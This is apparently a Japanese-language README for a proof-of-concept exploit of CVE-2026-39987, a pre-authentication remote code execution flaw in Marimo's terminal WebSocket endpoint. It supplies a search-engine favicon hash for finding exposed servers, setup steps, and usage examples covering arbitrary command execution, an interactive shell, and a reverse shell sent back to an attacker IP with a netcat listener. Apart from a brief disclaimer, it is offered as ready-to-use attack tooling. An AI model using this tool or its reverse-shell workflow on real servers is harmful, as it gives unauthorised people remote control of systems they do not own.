
CVE-2026-39987 悪用ツール - Marimo < 0.23.0 事前認証RCE (WebSocket)
Marimoバージョン 0.23.0 未満の重大な事前認証リモートコード実行(RCE)脆弱性のProof of Concept(PoC)エクスプロイトです。
この脆弱性により、認証されていない攻撃者がWebSocketエンドポイント(/terminal/ws)に接続し、ターゲットサーバー上で任意のシステムコマンドを実行できるようになります。
/api/versionエンドポイントを介して)。--no-check フラグを使用して、エンドポイントが隠蔽されている環境向けにバージョンおよび存在チェックをバイパスできます。以下のダークを使用して、潜在的に脆弱なインスタンスを特定できます:
http.favicon.hash:-1864630356
依存関係をインストールするには、Python仮想環境を使用することをお勧めします。
# 1. Clone the repository
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC
# 2. Create and activate a virtual environment
python -m venv .CVE-2026-39987
# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate
# 3. Upgrade pip and Install required dependencies
# Windows
py pip install --upgrade pip ; pip install -r requirements.txt
# Linux/MacOS
python3 pip install --upgrade pip && pip install -r requirements.txt
usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--ping-interval SEC] [--ping-timeout SEC] [--no-ping] [--max-retries N] [--no-reconnect] [--no-check] target [command]
positional arguments:
target Target URL (e.g. http://localhost:8080)
command Command to execute (omit when using -i)
options:
-h, --help show this help message and exit
--no-check Skip vulnerability version check
Execution modes:
-i, --interactive Interactive shell mode
--revshell IP PORT Generate & send a bash reverse shell payload
WebSocket tuning:
--ping-interval SEC WebSocket ping interval in seconds (default: 30, more frequent for stability)
--ping-timeout SEC WebSocket ping timeout in seconds (default: 300, increased from 120 for slow servers)
--no-ping Disable WebSocket ping/pong entirely (recommended if still disconnect)
Reconnect options:
--max-retries N Max auto-reconnect attempts (default: 5)
--no-reconnect Disable auto-reconnect on unexpected disconnect
1. 単一コマンドを実行:
python CVE-2026-39987.py http://target.com:8080 "id"
2. インタラクティブシェルを起動:
python CVE-2026-39987.py http://target.com:8080 -i
3. リバースシェルを実行:
自分のマシンでnetcatリスナーが起動していることを確認してください(例:nc -lvnp 4444)。
python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444
4. 検証チェックをスキップして強制実行:
python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check
貢献は歓迎します!お気軽にPull Requestを送ってください。
git checkout -b feature/update-feature)git commit -m 'Add update feature')git push origin feature/update-feature)このツールは教育目的および許可された倫理的ハッキングのためのみに使用されます。作者は、このスクリプトの誤用、損害、または違法行為に対して一切の責任を負いません。セキュリティテストを実施する前に、必ずシステム所有者から明示的な許可を得てください。このスクリプトの無断使用は違法であり、法律で罰せられます。
このプロジェクトはMITライセンスの下でライセンスされています。詳細はLICENSEファイルを参照してください。